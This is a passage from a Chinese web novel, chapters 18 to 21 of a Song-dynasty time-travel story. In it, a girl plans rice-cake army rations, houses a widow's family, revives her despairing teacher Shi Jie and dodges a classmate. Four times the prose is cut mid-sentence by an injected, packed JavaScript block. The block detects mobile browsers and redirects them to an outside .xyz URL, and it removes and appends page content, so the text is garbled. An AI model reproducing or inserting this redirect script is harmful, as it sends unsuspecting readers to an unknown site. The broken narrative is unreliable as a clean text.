炸好的糍粑外脆内软，淋上糖酱、撒满黄豆粉，便是她前世在湘菜馆、火锅店必点的小吃。若将软糯的糍粑块铺在红豆沙、绿豆沙或鲜奶上，再配上水果、坚果碎与糖浆，更是色彩缤纷、口感丰富，既美观又饱腹感极强。 她打算先在东京城推广糍粑，让普通百姓熟悉其食用方式，再逐步辐射到京城十万禁军，减少士兵对新食物的抵触，为日后将糍粑纳入军粮体系打下基础。这与她推广酸奶、黄油制品的思路如出一辙——不能直接强调营养价值或否定传统中原饮食观念，而需从“美味可口、造型精美，符合东京城作为都城的饮食风尚”入手。 纵观历史，中国的技术停滞并非源于智力缺陷，而是文化心态制约所致，也就是中原文明长期存在的“自我崇高”倾向。中国虽最早发明火药，但长期将其用于节庆烟火与低效火器，士大夫阶层普遍视火器为“奇技淫巧”，以“祖宗之法不可变”为由的抵制，导致军事革新滞后。 水力鼓风（水排）、水力纺车（水转大纺车）在宋代已成熟，但主要用于农业与手工业，始终停留于小规模应用，未能像荷兰那样发展出风车群与排水造陆系统。但是早在元代《南村辍耕录》中，就记载民间工匠曾尝试以水力驱动风箱助燃，类似早期蒸汽机原理，但因缺乏理论支持与官方资助，未能突破实验阶段。 中原士大夫素将游牧民族的乳酪、奶茶视作“腥膻之物”。《齐民要术》虽记载制酪之法，却仅限于宫廷对异域美食的猎奇。上行下效之下，普通汉人亦抵触这些“蛮夷之物”，致使乳制品加工技术长期被边缘化。反观元军骑兵，凭乳酪与奶粉得以横行欧亚，而中原地区仍以粟米为主，这种自汉代起便是主要军粮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500255|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作物，千年来竟未获实质性革新。 广西、贵州等地的糯米糍粑，被中原士人斥为“蛮夷粗食”。南宋刊行的《岭外代答》便称其“黏腻不堪登大雅之堂”。反观江南稻米文化，经江浙士大夫的推崇，成功跻身“雅食”之列。西南糍粑因缺乏文化话语权，朝中又无出身于该地区的士大夫为之背书，始终被主流饮食文化排斥在外。 因此，她面临的最大难题，并非凭空创造新物，这些东西在当世早有雏形，而是如何打破中原农耕文明根深蒂固的文化傲慢。 以糍粑作行军粮并非她的异想天开。她爹若想在供备库副使任上更进一步，需拿出实实在在的业绩，而她早已在琢磨，如何让糍粑成为几年后狄青征讨侬智高时的合用军粮。 作为高碳水化合物食品，糯米糍粑消化后能迅速转化为葡萄糖，其支链淀粉结构更易分解，可快速补充体力，尤其适合大战前或高强度急行军时的能量供给。 早在明代，贵州土司军队便将糍粑与炒米、盐巴混合压制，加入少量茶油以延长保质期、提升口感与热量密度，制成便于携带的“行军粮”。太平军行军时亦携带“火烤糍粑”，将糍粑切片后炭火烤至外焦内软，既方便短期储存，又可在途中即食。 反观当下主流的行军粮，晒干的熟粟米，虽富含B族维生素与铁元素，能缓解长途行军引发的贫血，且耐储存，但升糖慢、消化慢，难以满足高强度作战的即时能量需求，更适合作为长期行军或围困等恶劣条件下的应急粮。长期单一食用，还易导致夜盲症高发。 后世“小米加步枪”的选择，正是由于当时国民党奉行“经济绞杀”政策，迫使我方被困在山区根据地，陷入“困死饿死”的绝境，才不得不因陋就简。 反观金军乃至后来的元军，其“乳酪+奶粉+风干肉”的轻便高热量补给模式，完美适配运动战。打赢即撤、抢完即走，无需生火埋锅，马背上就能边跑边进食，机动性极强，令宋军难以追击。而宋军过度依赖静态防御与绵长的后勤补给线，既无法解决机动部队的粮草即时供应问题，又因辎重拖累导致行动迟缓：发现敌军踪迹时，粮草难以及时跟进；若携带大批粮草，则因行军速度过慢屡屡错失战机。这一后勤困境，在明朝对抗蒙古、女真时也反复上演。 这就像出门旅游，长辈非要你带上电饭煲里的米饭、保温盒中的青椒炒肉、一袋子现煮茶叶蛋，还有洗净的西红柿和黄瓜。 结果还没到目的地，就被催着吃掉仨鸡蛋、俩西红柿、两根黄瓜，长辈还嫌保温盒占地方：“这些东西怎么这么沉？”最后只能你负重前行，拖着行李寸步难行，游玩兴致全消。所以聪明的做法是，下次只带两包饼干、即冲奶茶和一袋猪肉脯。轻便易携，既能减负重，又能保障能量供给。 因此，她计划改良糍粑：将糯米混合大米制成糍粑，再与炒豆、盐、糖混合压制。冬季低温环境下，干燥的糍粑不易变质，寒冷能抑制虫蛀霉变，只需配备火源加热即可食用。若再搭配无需加热的奶粉与奶酪，便可同时满足常规行军与快速机动部队的补给需求。 低温环境里，多么适合北伐啊！光是想想就让人热血沸腾。 放心吧，我迷人的岳将军，我会为你提前准备好高热量、便携且食用方便的行军粮，保证你未来能直捣黄龙。 19. 第 19 章 晚饭后，她照旧开设识字课堂，教导青枣和大丫识字。 没错，这次加上了大丫。 她爹娘采纳了她的建议，让大丫和杨氏来学习熬制猪油与炒制红烧肉。这两道工序本身并不复杂，加上店铺尚未开张，二人学会后便无事可做。 原本杨氏打算外出找零工，大丫也准备继续出城拾柴，却被刘耘娘劝阻。以家中琐事繁多，王婆年事已高，既要指导他人烤制火烧，又因身体原因难以承担过多事务；吴王氏身边缺乏陪伴之人，杨氏正好可以在旁协助，兼顾厨房厨娘，等做完晚饭再回去。至于大丫，在等她娘干活的期间，刚好被吴悦捉来识字。 捧着自己写的字爱不释手，大丫反复端详着惊叹道："这真的是我写的吗？我竟然会写字了！"声音里满是难以置信的惊喜。 过了许久才平复情绪，朝着吴悦恳求地说。 “小娘子，求您给我起个名字吧。”眼中闪烁着渴望的光芒。 吴悦思索片刻，将她刚刚写的大字递到她手中。“你在我这里学了近五日，已识得十个字，待两个月后便能掌握百字。何不由自己来决定姓名？" 她希望每个女子都能主宰自己的命运，而名字的自主权正是觉醒的开端，被他人赐名总带着附属的意味。 青枣在旁笑着点头："我的名字便是因爱吃青枣而起的。" 虽然未能立即拥有新名字让大丫微微失落，但自主取名的提议却在她心中有些火热，暗暗发誓要加倍努力学习识字，一定要为自己选个独一无二的名字，而非是这随处可见的‘大丫’。 “你回家去吧，明早先生还要检查背诵，我得再去温习一遍。”趿着自己的特制拖鞋，鞋面还有着王婆手缝的狸猫。吴悦转身就想往内室走去，却又被青枣喊住。 “小娘子，大丫还有话说。” 青枣拉着大丫的衣袖，将她推到吴悦面前。 “怎么？”吴悦驻足，鼓励的看向她。 大丫嘴唇颤动片刻，终是鼓起勇气：“求小娘子让我阿婆也来府上帮忙吧，我阿婆可以浆洗衣服，可协助王婆与夫人打理膳食。我往后炼完猪油，也能帮着烧柴、打水，我们什么都能做，还望小娘子代为向夫人求情。” 没错，之前一家人的饮食都是由王婆与刘耘娘轮流操持，青枣在旁打下手。 吴家起于微时，早几年吴王氏也会下厨做饭，乡下娘子谁不干活啊，来了这东京城倒是有些怪异。此前还有人劝过她娘："七品武官夫人怎可亲自下厨？传出去失了体面。"无奈家中事务繁多，朝廷分派的仆役又迟迟不来，这才只能让她们自己亲自下厨。 反正乡下人吃的也简单，向来是大锅菜配面饼，俗称一碗端。如今还可以用猪油煮面、拌饭，就更加简便了。 现在，全家唯一吃的精细的就是她。奶酪从不离手，还隔三差五的给自己做碗酸奶解馋。 “倒也不是不行”。 吴悦想了想，家中确实缺一个专职厨娘，她娘和王婆年纪渐长，身子骨只会愈发的不济，添个人手分担倒也合适。“那你就把你妹子也带着吧，我和青枣每天都要喝一碗羊奶，也让她跟着喝些，你也是，不要嫌弃膻，这个很滋补女儿家的。” 想了想，又道：“这样，家里还有个耳房，我去问问娘能不能让你们一家住下。这样你也不用每晚和你娘摸黑回去，这么黑也挺吓人的。” 这几天，杨氏在家帮厨，都是做完晚饭洗完碗才走，大丫就刚好在她娘收拾厨房的时候在她这认字。 大丫听完，连连称谢，居然又欲下跪磕头。青枣忙拉着她往外走："不用跪，咱们小娘子不喜欢这样。" 吴悦也不急着背书了，先去她娘那把这事敲定。 来到她娘屋里，见她爹依旧不在家中，而刘耘娘正依照她教的三账分理法整理今年的账册。 "娘！"她扑了上去。 待女儿说明来意，刘耘娘颔首允准："杨氏的厨艺我也看在眼里，有她相助再好不过。空着的耳房收拾下，就让她们住下。" 这几日杨氏掌勺，也让刘耘娘备感轻松。阖府上下得厨艺皆属平常，偏杨氏就能做出酒楼水准的菜肴，众人啧啧称奇。甚至询问厨艺这般了得，怎么不自己开个小吃摊呢？ 杨氏苦笑道："不是没有尝试，只是我一个寡妇抛头露面，总会有市井无赖来滋扰，摊子被砸了两回，也就死了这份心。" 她们这才知晓杨氏的难处，即便青天白日，也会有人寻上家里上门骚扰。刘耘娘长叹一声："寡妇门前是非多，这话半点不假。" "便让大丫与青枣同住，杨氏婆媳三人住那间空的耳房，如此也宽敞些。"刘耘娘斟酌道，"大丫与杨氏的月钱照发，她阿婆的工钱便以房租抵了。这耳房也是空置，算物尽其用。" 这般安排，她们肯定是吃亏，等于管吃管住还另付双份工钱，其中一个还是未成年的丫头。但刘耘娘也有考量，杨氏母女四人孤女寡母，手无缚鸡之力，现在手头里又有了钱，住在城外贫民窟有些危险，不如接入府中，收纳为自己人。 "谢谢娘！"吴悦喜不自胜，行了个利落的福礼便往外跑，这下可以安心的背书去了。 也就三四日，杨氏一家四口就搬了进来。 其婆母李二娘的厨艺虽然没自己儿媳做的好吃，却比刘耘娘做得强许多。 而路与终于应聘上岗，成为吴父的贴身随从。没错，自吴父擢升七品指挥使，依例可配置二至三名亲兵护卫，负责日常事务与护卫。此前申报的名额一直没有批复，直到近日才下了正式允准，路与从此也算吃上了皇粮的人了。 那么新的难题就随之而来，路与跟着吴父上职去了，以后每日如何送兄妹二人上学？如果只有吴夏一人尚可骑马，偏还要带上小妹，便只能以牛车代步。 路伯本欲代子护送，却被吴父拦下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500256|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' "老张头虽断了右臂，"拍着独臂旧部的肩膀，吴父朗声道，"当年对抗西夏，单臂持槊连挑三员敌兵！驾车这点小事，岂在话下？" 于是每日卯时，独臂张阿牛便候在吴府门前送他们上学。午间先从石府接吴悦返家，申时又至石府接吴夏回家。 这么一来一回往返数次后，石介也知道给她们驾车之人，是他们爹麾下伤残士卒，还特意出来与张阿牛交谈，询问了像他们这种伤残士卒的具体安置措施。 北宋实行募兵制，士兵终身为兵，因伤病无法服役的可以转为剩员，但是只会发放一半俸禄。自愿解甲归田者，朝廷一次性发放3石（约317斤）粟米，并分配荒田，提供农具和种子。若士卒战殁或因伤致死，家属每月领取3斗米（约31斤）的救济粮，并且免除赋税。 然而这个政策却很难执行，因为北宋"不抑兼并"，荒田开垦成本高昂。荒田需三年以上才能改良耕种，而垦成良田后又常遭豪强侵夺。所发粟米仅能果腹，日常生计仍需货币开支，大多数人仅能勉强维生。 这种"养兵百万，老弱杂糅"的局面，使军队战斗力严重下滑。范仲淹戍守西北边疆期间，亲历对西夏、辽作战，深刻认识到冗兵与低效并存的积弊。 基于对北宋军事积弊的深刻认知，他在庆历新政中提出军事改革方案。针对"将不识兵、兵不识将"的更戍法，他用"将兵法"代替，将边防军划分为若干指挥单位，由固定将领长期训练指挥。针对冗兵导致的财政危机，又主张"筑城屯田"，在西北沿边修建大顺城等军事堡垒，推行士兵垦荒自给制度，"使士卒自耕以食，减馈运之劳"。 这些改革举措短期内显著提升了西北边防战力，秉持的“以战促和”思想也扭转了宋军被动防御局面。 范仲淹的军事改革，与后世国际关系中的奉行的战略理念，“战场上打不赢，谈判桌上谈不拢”和“打得一拳开，免得百拳来”有异曲同工之妙。 然而，这场触及官僚集团既得利益的改革，因保守派的激烈反对而夭折，最终在政治斗争中全盘废止。 石介作为范仲淹《答手诏条陈十事》的坚定支持者，甚至因此被人陷害结党而罢免。虽然闲赋在家，其人还是心系朝政。眼见朝中反对声浪日甚一日，他还特意去范府探望，却发现昔日锐意改革的名臣竟也愁眉不展，竟不复往昔激昂之志。 庆历年间，为应对辽与西夏的军事威胁，北宋禁军与厢军总数达一百二十五万，军费开支占财政支出七成。冗兵问题正是新政试图破解的困局，故而石介见到张阿牛这样的伤残老兵，特意来了解军中实情。 望着独臂老兵在府外站岗，虽断一臂仍军姿挺拔，石介已经佩服不已。他在交谈中也得知兵卒们都生活艰辛，可是朝廷大笔的钱发下去了，国家财政濒临崩溃，士兵们又过得悲惨，这到底又是哪里出了错？他坚信新政改革是必要的，但是为什么就推不下去呢？ 20. 第 20 章 难啊，都难。 石介摇摇头，转身走回书房。 吴悦敏锐察觉到了石介情绪低落，她猜测庆历党争应该到了最关键的时刻。 历史上有几大著名的党争，分别是牛李党争、庆历党争、元祐党争以及东林党争，皆深刻影响了王朝命运。 牛李党争起源于科举制对门阀制度的冲击。牛僧孺代表的科举官僚集团与李德裕为首的山东士族集团形成对立：李党重门阀世胄，牛党重科举出身；李党主张武力削藩，牛党倾向妥协安抚。这场持续四十年的党争，最终随唐王朝的衰亡而落幕。 庆历党争将在明年落下帷幕，保守派与改革派互相攻讦"结党营私"。北宋时期的改革派与守旧派常以“变法”或“祖宗之法不可改”为旗号，实质就是权力斗争。 元祐党争是高涛涛在儿子神宗死后，起用司马光废除王安石变法，新旧党争从政策分歧演变为无底线倾轧。这场党争不仅导致北宋政坛分裂，更埋下靖康耻的隐患。 这些党争如同慢性毒药，不断消耗国家元气。统治集团陷入内耗漩涡，行政效率江河日下，最终将王朝推向覆亡深渊。 果不其然，次日，石介就给他们放假。 要去送因为遭保守派弹劾结党营私、欺罔专权，而被宋仁宗为缓解压力，借“宣抚”之名调离中枢的范仲淹离京。 范仲淹的外放，标志着改革派在中央话语权的削弱，也是原本历史线上，石介心死的主因。 等到他们再复课时，吴悦发现石介神色憔悴，面如死灰，仿佛生机尽失。 早在今年三月份，夏竦指使家奴模仿石介笔迹，伪造了一封给富弼的信，内容是改革派计划废掉仁宗另立新君，石介因此被罢免。历史上的他将会在明年，庆历五年（1045年），被贬为濮州（今山东鄄城）通判，还未上任，就病卒于家，终年四十一岁。 石介之死并未终结政敌的迫害，夏竦等人欲置改革派于死地。徐州孔直温谋反案发后，夏竦从其家中搜出石介早年书信，竟诬告死者“诈死投辽”，称其前往契丹借兵。这一招狠毒至极，宋仁宗两次下诏欲开棺核查，幸得杜衍、吕居简等重臣担保，石介才得免掘墓之辱。欧阳修对此义愤填膺，于庆历六年（1046）愤然写下三百五十字的五言长诗《重读徂徕集》，痛斥夏竦等人侮辱死者的卑劣行径。 就算在后世，法医验尸也被很多人所忌讳，更不要说在这一千年前的北宋了。儒家经典《孝经》强调“身体发肤，受之父母，不敢毁伤”，认为完整保存遗体是对父母的孝、对祖先的敬。古人还普遍相信人死后灵魂不灭，且灵魂需依托遗体安息。开棺还会被认为破坏墓地“生气”，直接影响家族运势。 因此，古代法律对开棺行为有严格限制：唐代《唐律疏议》规定“诸发冢者，加役流”，私自开棺属重罪；宋承唐制，宣称自己是从唐朝延续的中原正统王朝，在《宋刑统》中延续此律，即便官方验尸也需遵循严格程序。即便如此，开棺仍会遭到民间舆论抵触，诸如“断子绝孙”“死者不得安宁”等言论广为流传。 政治斗争向来是残酷无情的，吴悦深知这一点。她未来也必将直面这般现实，因此必须让自己更加狠绝果决。 她尤为欣赏石介，这位秉持民本思想的大儒，坚定支持孟子“民为贵，社稷次之，君为轻”的主张。在石介眼中，真正的“仁义”并非固守表面的小恩小惠，诛杀贪官污吏虽看似“杀伤虽多”，实则是顺应天下百姓意愿的大仁大义。然而朝中群臣却因畏惧成为下一个被清算的对象，动辄搬出宋太祖赵匡胤“不杀士大夫及上书言事人”的祖训，对贪腐官员一味从轻发落，至多不过贬谪流放。 对豪强权贵的痛斥更是尖锐刺骨，他揭露这些人平日里“贪求荣华不知收敛，聚敛财富毫无节制，饱食终日醉生梦死”，一旦国家面临危机（如抵御辽、夏入侵），便“拖延君命躲在家中”，或是“声称才能不足以担当大任”，讽刺之词入木三分。他甚至肯定陈胜不堪秦朝繁重徭役、愤然起兵灭秦的举动，赞其为英雄。这般直言不讳的批判，自然触动了既得利益者的神经，也为他招致了政敌的忌恨与迫害。 这样一位心怀天下、敢于直言的士人，她实在不愿见他因政治打压而心病缠身、过早凋零。政治斗争的绞杀从不手软，唯有在这波谲云诡的漩涡中磨砺出更狠绝的心智，或许才能在保全自身的同时，守护心中的道义与理想。 “先生”她起身，手捧《续齐谐记》立于正自出神的石介案前，“小女有不解之处”。 石介回过神来，望着眼前这位旁听生，对方天资聪颖且好学，此前他常为其身为女儿身不能博取功名而惋惜。此刻反观自己，身为男子，痴长到不惑之年，却毫无建树。人生无望，又有什么好说的呢？ “吾愿为小娘子解惑”。嘶哑的嗓音传出，石介还是强打起精神，做到师者的职责。 “近日读南朝梁国吴均所撰《续齐谐记》，记载屈原五月五日投汨罗江后，楚人为表哀思，‘以竹筒贮米，投水祭之’”。她展卷指陈，"小女不解，屈原为何非要选择投江？" 石介微微动容，这小娘子读书之博，竟比家学渊源深厚的吕希哲犹胜三分。他抚髯沉吟：“你认为不该如此？"转而点名吴夏，"你且说说，屈原缘何赴死？" 吴夏起身长揖："回先生的话，此乃士大夫的气节抉择。屈原在《怀沙》中写道‘知死不可让，愿勿爱兮’，他将死亡视为维护人格尊严和政治理想的最后手段。” “不对，我认为这种个人的气节坚守毫无意义。”吴悦朗声反驳，“孔子周游列国而不馁，太史公受腐刑而著《史记》。”她引经据典侃侃而谈：“《易》云‘天地不交，否’，然否卦之上九终有‘倾否’之机。” 否。否之匪人。不利君子贞。大往小来。 象曰：天地不交，否。君子以俭德辟难，不□□以禄。 意思就是天地隔阂不能交感，万物咽窒不能畅釜，这是否卦的卦象。君子观此卦象，从而在国家政治否塞之时，应思隐居不仕，以崇尚俭约来躲避灾难，不要以利禄为荣。 北宋大家邵雍，又称安乐先生，解此卦为：大往小来，闭塞不通，否极泰来，修德避难。得此卦者，万物闭塞之象，上下不合，诸事不顺，凡事宜忍，须待时运好转而有为。 吴悦还没有发表完演说，继续侃侃而谈：“我家新雇佣的杨氏一门两寡，仅有两女，大女儿年方9岁，幼女尚在襁褓。此前她们家徒四壁、朝不保夕，每至更深，母女每晚饿着肚子相拥而眠，不知明日是否要抚着至亲渐冷的身躯醒来。即便如此，她们仍挣扎求生，活下去，就算多活一日，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500257|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能多感受一日暖阳。最终，她们等到了我们家雇佣，得到了这一丝转机。张阿牛亦是如此，他的儿子在我们家食店充当帮厨。而他尽管断了一条胳膊，也仍然坚持用只剩下的一只手牵牛驰车。” 她忽而转身直面石介，目光如炬：“天下苦难者众，我等无力尽救，唯有坚守内心所愿。为饥者添一碗粥，为寒者覆一衾被，为无家者辟半席檐下。被救者也要有求生之志，天地之间人为贵。虽布衣韦带，其志可凌云汉。虽箪食瓢饮，其节堪比松筠。此庶民之韧性也，纵经百世而不灭。” 这番话如重锤击醒梦中人，石介只觉一盆冰水从头浇下，刹那间从颓唐中惊醒。 是啊。 农民天不亮就下地锄草松土，月亮升起才扛着锄头回家，手脚磨出老茧也从没怨言。就算碰上大旱年头，蝗虫遮天蔽日扑过来，照样挑着水桶去溪边打水浇地，再贫瘠的土疙瘩里也能长出沉甸甸的谷穗。再说那些织布的女子，数九寒天点着油灯，织机"咔嗒咔嗒"响得半条街都听得见。梭子磨得手指头渗血也不停手，织出来的粗布细绸，卖给富贵人家只为了换来一些钱财，得以买粮买面，求得就是活命而已。 “大道五十，天衍四十九，遁去其一。可能现在大部分结果已经既定的，但总有一个变数存在，这个变数代表了可能性和自由意志，使得未来不是完全确定的，而是有变化的余地。而我们，就要坚持等待那个变数到来。” “人生在世，就应该顺势而为，借势而进，承势而起，造势而上。” 没错没错，石老兄活久点，活到她能成为你的势。 吴悦不知自己这番话是否奏效，还准备说一些俗语劝慰，比如“留得青山在，不怕没柴烧”“好死不如赖活着”之类的话。 却见石介突然仰天大笑，满脸阴郁之气一扫而空。这畅快的笑声引得隔壁屋中的何群和吕希哲也给引来张望。 笑声未歇，他忽又重重拍击书案，跪倒在案前伏地痛哭，两行清泪顺着虬髯滑落。 这忽而狂笑忽而悲泣的情形，直看得众人目瞪口呆。吴悦离得最近，更是手足无措——这究竟是想开了，还是发疯了？ 满室众人皆屏息静气，连门外的何、吕二人也不敢贸然进来。 等待笑声渐渐停下，三人见状大惊，自家先生竟然面对一个小娘子行揖礼，也就是双手抱拳高拱，鞠躬与地面垂直。这可是对平辈或稍长于自己的长辈所用。 “谢吴小娘子教我，石某拜谢。” 吴悦也愣住了，半天才回过神来，也回了一个揖礼，道：“也谢先生不怪小女妄言。” 石介欣赏地看着眼前这个女弟子，忽而心生遗憾，若能让希文兄（范仲淹）早些得见此等璞玉该多好。现在可好，他离京了。不过没事，他可以写信啊！今晚便修书一封，详述此事。 待看到何群、吕希哲与吴夏仍呆立当场，石介生气的拂袖斥道，“看什么看，还不快去读书，连你们小师妹都不如。” 这声"小师妹"分量极重，此前他皆以"小娘子"相称。 这代表着吴悦也是石介承认的正式弟子，和他们是正儿八经的同门师兄妹。 以后吴悦可以自称弟子，而不是学生，或者小女子了。 "都回座罢。"石介整冠危坐，"接下来我们讲共叔段之乱。" 21. 第 21 章 不对劲。 不是石介不对劲，他如今倒似枯木逢春。 原先的他像一只拼命用嘴啄掉羽毛，换上了拔羽症的鹦鹉。现在的他具象化的感觉头上的羽毛都竖起了，每日精神抖擞地在讲堂踱步。对课业要求更趋严苛，竟还给她单独布置了额外作业。 吴悦感觉不对劲，是因为好像被人盯上了，总感觉有人在偷偷观察她。 但是当她四处查看时又找不到人。 这么疑神疑鬼了几天，今日下学，她依例向石介揖别，并报备明日她生辰，爹娘要带她去城外玉仙道观祈福。 石介抚掌称善，居然还详细和她讲士族里为幼童祈福延寿都是家族大事。孩子生辰，都会前往道观举行一场庄重的长生禄位供奉仪式，借道教仙道贵生的教义，为孩子种下福寿根基。 "只是玉仙观规模较小，明日又非初一、十五或道教节日。"石介拈须沉吟，"不如改往五岳观，今上每年正月十四必亲诣五岳观行香，此乃皇家祈福之地。" 吴悦听了满脑子，什么你家怎么如此不讲究，不挑日子不挑道观，并且列数了哪家大族的小郎君都是如何豪置千金，将道教长生禄位仪轨办的是如何轰轰烈烈。还举例隔壁那吕家小子，从出生就供奉了长生禄位，还是放在五岳观的主殿，每年还会加钱举行法事，以得到增强祈福的效果。 见她垂首不语，石介又温言宽慰。吴家乃行伍出身，家中不甚了解也是正常。但是作为先生，他可以帮忙补救。他有相熟的道长，可以给吴悦在五岳观主持个开光仪式，将她的长生禄位的牌位安奉于道观延寿殿内，每日接受早晚香火供奉。每月朔望之日，道观还会为禄位持有者举行诵经法会，通过《度人经》等经典加持，增强祈福愿力。 不过就是要花点小钱，因为禄位前都需要点亮三盏明灯——延命灯佑健康，益寿灯增福慧，平安灯护周全。这每盏灯需连续供奉七日，期间要持诵相应祝咒。而供奉禄位需持续三年以上，不可半途而废。父母双亲也要代她行放生、助印经书等善举，这才能将功德回向给她，积累福德资粮。 吴悦听的人都蔫了，现在家中所有钱财都去筹办食店，哪里还有余钱搞什么长生禄位，她爹娘估计听都没听过，连兄长吴夏都没这个待遇。 她爹娘以为的祈福，就是去道观上柱香，随喜功德给添加点香油钱。主要就是找个机会，带大家出来郊游玩耍，在外面吃点外卖。 石介似乎意识到自己这个弟子的家中或许不会给幼女出这比钱，毕竟当下还是重男轻女的多。 他斟酌片刻，温言劝慰垂首不语的吴悦：“五岳观有道长与我很是相熟，托他主持仪典，资费只需象征性供奉即可。回家和你爹娘好好商量下，让他们无需担心钱财问题。你元神清灵，根器利捷，但是恐有昙花一现，彗星遽没之象。” 言下之意就是，人重要还是钱重要啊，而且钱的大头包我身上，我给你拿我的面子去讨要折扣。 吴悦感受到了石介发自肺腑想让她安岁太平之意，感激之余却又隐隐担忧。她担忧的就是兄长吴夏会不会心生芥蒂，毕竟不患寡而患不均。 哥哥对她很好，有点不安，终于还是磨磨蹭蹭的出了书房，就看到立在廊下等待的吴夏，吴悦鼻子就突然一酸，一时不知道该如何说起。 吴夏却似浑然未觉，过了年他都14了，都是弱冠年纪，怎么可能会和幼妹争宠。而且他也觉得‘於惟淑妹，懿矣纯良’，这可不能让上天过早的摧残。 摸摸妹妹的脑袋瓜，喊她快点回家。他也转身回了书房，准备和何群一起，继续上下午给两人的大课。 吴悦这时感觉失去的力气又回来了，心情雀跃的准备朝大门奔，却在游廊转角处与人撞个满怀。 来人原来是吕希哲，8岁的他比她高不了多少，总角垂髫斜绾着紫金绳，身着月白交领襕衫，胸前还悬着长命锁，一幅富贵小郎君的打扮。 他嚅动数次，最后也是鼓起勇气，讷讷开口："近...近日在读些什么书？可愿与我共同学习？" 原来那日吴悦对石介所言，吕希哲也听到了，对这个比他还小的小娘子起了敬佩交好之心。 吴悦却面露菜色，她终于晓得那个盯盯侠是谁了，不是她多疑，就是这面前的吕希哲！ 啊，晦气啊，快退下，莫挨老娘。 老娘不想和你玩什么总角同窗、芸窗共读。 如果靠这同门情谊，青梅竹马，的确是高嫁入这世代簪缨吕家的晋身之阶。这可是世人眼中的大好姻缘，她和她家得积三辈子福才有这个运势。吴父知道肯定把她速速打包，直接扔了过去，那她未来岂不是被关在后宅，还怎么发挥，难道鼓动吕希哲造反吗？ 这个不行，是噩梦级别，玩不了。 她还是选择进宫努力当太后，凭子垂帘听政。再不济，也是当个没有生育的太妃，安享尊荣，然后拉大旗扯大炮，去南方名曰养老为帝祈福，实则多收养一些孤儿，照样可以出海占地。 进宫好进宫妙，宋仁宗的后宫素称清平。没公公婆婆，老公还是天底下第一人，比她年纪大还早死，死了还有一堆遗产。古代夫死从子，子死从父，父死从兄，可是她一嫁入皇宫，和她爹那就是君臣关系，也就太后和下一任皇帝能管得住他。 但是话又说回来，赵宗实是个嗣子，天然有壁，她们这些养父的后妃肯定要出宫。 而对于曹皇后而言，对仁宗又没感情，赵家皇室的脸面和她有什么关系，偷偷溜走一个太妃，只要舆论不发酵，没人在意。因此，入宫可能对别人来说是砒霜，可是对她来说，这可是天上掉的大馅饼，此等美事，谁都不能阻止她！ 潦潦草草的点了点头，吴悦努力扬起天真笑容一枚，喊着哎呀好饿啊，要回家吃饭了，下次聊下次聊，拎着自己的小书包就狂奔。 决定了以后都要小心避开这个吕希哲，她如逃难般飞一样的回到了家。 回到家中，就先去找娘和阿婆，将先生所说的话清晰的转达了一遍。令她意外的是，两人听后十分欣喜，连声道多亏了先生告知，她们确实疏忽了。刘耘娘甚至把她抱在怀里，看了又看，满眼的怜爱，她们确实有担心女儿景命不遂。 晚上，待吴父下职回来，居然也十分认同此事。立刻就写好了写明吴悦生辰八字以及他们夫妻姓名的名帖，还打算明天不去玉仙观了，亲自到先生府上送去。 就这样，吴悦突然多了一天假期。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500258|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刚好黄油昨天已经做好了，今日就让她在厨房进行发明创造。 厨房耳房的土窑火膛深处跃动着琥珀色的火苗，整个屋子弥漫着乳脂与麦香交织的香味。 "这黄油真个神奇，揉进面团里竟比猪油、麻油香上十倍！"青枣和大丫凑向窑膛，扑面的热气将她们的脸烘得红扑扑的。 西墙角的木桌上，吴悦正拿着羽毛笔在竹纸上涂涂画画。 